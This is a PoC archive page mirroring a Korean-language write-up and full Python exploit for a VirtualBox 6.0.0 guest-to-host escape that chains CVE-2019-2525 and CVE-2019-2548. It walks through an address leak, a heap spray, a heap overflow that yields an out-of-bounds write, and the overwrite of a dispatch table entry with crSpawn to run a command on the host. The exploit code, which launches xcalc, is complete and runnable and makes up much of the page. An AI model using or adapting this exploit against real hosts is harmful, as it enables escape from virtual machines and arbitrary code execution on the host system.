Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-2525 PoC — Oracle Virtualization VM VirtualBox 访问控制错误漏洞

Source
Associated Vulnerability
Title:Oracle Virtualization VM VirtualBox 访问控制错误漏洞 (CVE-2019-2525)
Description:Vulnerability in the Oracle VM VirtualBox component of Oracle Virtualization (subcomponent: Core). Supported versions that are affected are prior to 5.2.24 and prior to 6.0.2. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle VM VirtualBox accessible data. CVSS 3.0 Base Score 5.6 (Confidentiality impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N).
Description
CVE-2019-2525 / CVE-2019-2548
Readme
# VirtualBox 6.0.0 Exploit 1-day

사용할 VBox bug

- CVE-2019-2525 : `crUnpackExtendGetAttribLocation` Infomation Disclosure
- CVE-2019-2548 : `crServerDispatchReadPixels` Interger overflow, lead to Heap overflow
- these bugs can be trigger on enable 3D Acceleration.


먼저 설명에 앞서 아래 익스를 수행한 동영상을 찍어서 첨부한다.

[https://youtu.be/IQRLtqMgVCY?t=46](https://youtu.be/IQRLtqMgVCY?t=46)

### 1. Memory Leak (CVE-2019-2525)

1. `hgcm_connect`와 `hgcm_disconnect`을 여러번 실행하여 메모리에 `cr_server`와 관련있는 값을 올릴 수 있고, `crUnpackExtendGetAttribLocation`에서 음수 오프셋을 통해 메모리 릭을 하여 `cr_server+19056`와 `crVBoxHGCMDoDisconnect` 의 주소를 구할 수 있다.
2. 위 `leak`된 메모리값을 이용해 `cr_server`와 `crSpawn`의 주소를 구한다.



### 2. Heap Spray

1. `CRVBOXSVBUFFER_t`를 메모리에 Heap Spray한다. 이 때 `alloc_buf`를 사용하는데, 메모리가 연속적으로 할당되기때문에, 버퍼 구조체의 `pData`역시 버퍼 구조체 바로 옆에 할당되게 된다.
2. 그러므로 `alloc_buf(client, 0x20)`으로 `CRVBOXSVBUFFER_t`과 같은 크기의 pData를 생성한다.

![](img/vbox_escape1.png)

3. 짝수개의 Buffer ID를 Free한다.

![](img/vbox_escape2.png)

4. `alloc_buf(client, 0x50, msg)`와 `alloc_buf(client, 0x20, msg)`를 번갈아가며 할당하여 `Free` 청크를 채운다. 0x50은 Free된 청크에 할당되지 못하고 다른 메모리영역에 할당된다.

![](img/vbox_escape3.png)

5. 0x50의 길이를 가지는 짝수 Buffer ID를 Free

![](img/vbox_escape4.png)













### 3. Corrupt Chunk (CVE-2019-2548)

1. `crServerDispatchReadPixels`에서 `integer overflow`가 일어나는 것을 이용하여 0x20크기의 구조체를 할당한다.
- bytes_per_row = 0x1FFFFFFD / height = 8  ⇒ 0x100000020

2. 위 구조체는 Spray된 힙영역의 중간에 Free된 영역에 삽입되고, 크기가 0x38인 것을 이용하여 0x18만큼 `Heap overflow`가 발생하여 다음 구조체의 `uiID`와 `uiSize`를 수정할 수 있다.

- uiID = 0xdeadbeef  /  uiSize = 0xffffffff

![](img/vbox_escape5.png)

3. 수정된 uiID를 가진 구조체를 사용하여 다음 청크를 수정시킬 수 있다. 이 때 uiSize가 0xffffffff이기때문에 다음 청크는 `pData`까지 원하는 값으로 바꿀 수 있다.

- uiID = 0xcafebabe / uiSize = 0xffffffff / pData = 원하는 값

![](img/vbox_escape6.png)

4. 이제 uiID가 0xdeadbeef인 구조체로 pData를 설정하고 0xcafebabe인 구조체를 이용해 `OOB Write` 를 수행할 수 있다.

### 4. Exploit

1. `OOB Write`를 이용하여 `cr_server + 0xc410`에 "xcalc"를 쓴다.
2. `OOB Write`를 이용하여 함수 테이블에 있는 crServerDispatchBoundsInfoCR(cr_server+0x0xae98)를 `crSpawn` 함수로 덮는다.
3. crServerDispatchBoundsInfoCR를 실행시켜 `crSpawn`함수를 호출한다. 이 때 인자로 **command="xcalc", argv=["xcalc"의 주소, NULL]**를 주어  VirtualBox를 탈출하여 계산기를 실행시킬 수 있다.



### 결과화면

![](img/vbox_escape7.png)

### Demo 동영상

[https://youtu.be/IQRLtqMgVCY?t=46](https://youtu.be/IQRLtqMgVCY?t=46)



### Exploit code

```python
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *

def nop_msg():
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
        + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
        )
    return msg

def make_leak_msg(offset):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
        + pack("<I", offset) #packet_length
        + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
        + pack("<I", 0x41424344)
        )
    return msg

def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
        + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
        + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
        )
    return msg

def make_crSpawn_msg(cmd, argv):
    msg = (
        pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
        + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
        + pack("<I", 1)
        + cmd.ljust(16, "\x00")
        + pack("<I", 0)
        + pack("<QQ", argv, 0) # argv : execute string, null
        )
    return msg

def leak_address(client):
    leak_success = False;
    while not leak_success:
    	for i in range(0, 10):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x170):
                leak_success = True
                break
    cr_server = leak - 0x4a70
    
    leak_success = False;
    while not leak_success:
        for i in range(0, 100):
            leak_client = hgcm_connect("VBoxSharedCrOpenGL")
            hgcm_disconnect(leak_client)
        msg = make_leak_msg(0x100000000-0x9b8)
        result = crmsg(client, msg)
        if "\x7f\x00\x00" in result:
            leak = unpack('<Q', result[16:24])[0]
            if (leak%0x1000 == 0x230):
                leak_success = True
                break
    crSpawn = leak - 0xbd20
    return (cr_server, crSpawn)
    
def heapSpray(client):
    buf_ids = []
    spray_ids = []
    msg = nop_msg()
    # make CRVBOXSVCBUFFER_t & pData heapSpray area
    for i in range(120):
		buf_ids.append(alloc_buf(client, 0x20, msg))
    buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
    
    # even buf_ids free
    for idx in buf_ids[::2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    # fill CRVBOXSVCBUFFER_t free areas
    for i in range(40):
        spray_ids.append(alloc_buf(client, 0x50, msg))
        alloc_buf(client, 0x20, msg)
    
    # make a hole between spray area
    for idx in spray_ids[::-2]:
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])

def make_corrupt_obj(pData):
    obj = (
        "A"*0x28
        + pack("<Q", 0x35)
        + pack("<I", 0xcafebabe) #uiId
        + pack("<I", 0xffffffff) #uiSize
        + pack("<Q", pData) # table_addr
        )
    return obj

def write_anywhere(addr, data):
    #make corrupt obj
    fake_buffer = make_corrupt_obj(addr)
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])

if __name__=='__main__':
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    
    # Trigger to CVE-2019-2525
    cr_server, crSpawn = leak_address(client)
    crServerDispatchBoundsInfoCR = cr_server+0xae98
    
    print("[*] crServer : " + hex(cr_server))
    print("[*] crSpawn  : " + hex(crSpawn))
    #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
    
    # heapSpray
    heapSpray(client)
    
    # Trigger to CVE-2019-2548
    msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
    crmsg(client, msg)
    #a = input("test1 : ")
   
    # setting "xcalc"
    xcalc_string = cr_server + 0xc410 
    write_anywhere(xcalc_string, "xcalc")
    print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))

    # overwrite talbe func crSpawn
    print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
    write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))

    # escape!! execute xcalc
    msg = make_crSpawn_msg("xcalc", xcalc_string)
    crmsg(client, msg)

    hgcm_disconnect(client) 

```

File Snapshot

[4.0K] /data/pocs/3cbf05e1fbcad0e658364f89470795f69049313b ├── [4.8K] exploit.py ├── [4.0K] img │   ├── [ 34K] vbox_escape1.png │   ├── [ 34K] vbox_escape2.png │   ├── [ 55K] vbox_escape3.png │   ├── [ 51K] vbox_escape4.png │   ├── [ 52K] vbox_escape5.png │   ├── [ 51K] vbox_escape6.png │   └── [234K] vbox_escape7.png ├── [4.0K] lib │   ├── [2.5K] chromium.py │   ├── [ 11K] hgcm.py │   └── [ 20K] opcodes.py ├── [8.0K] README.md └── [ 126] vbox_bulid 2 directories, 13 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →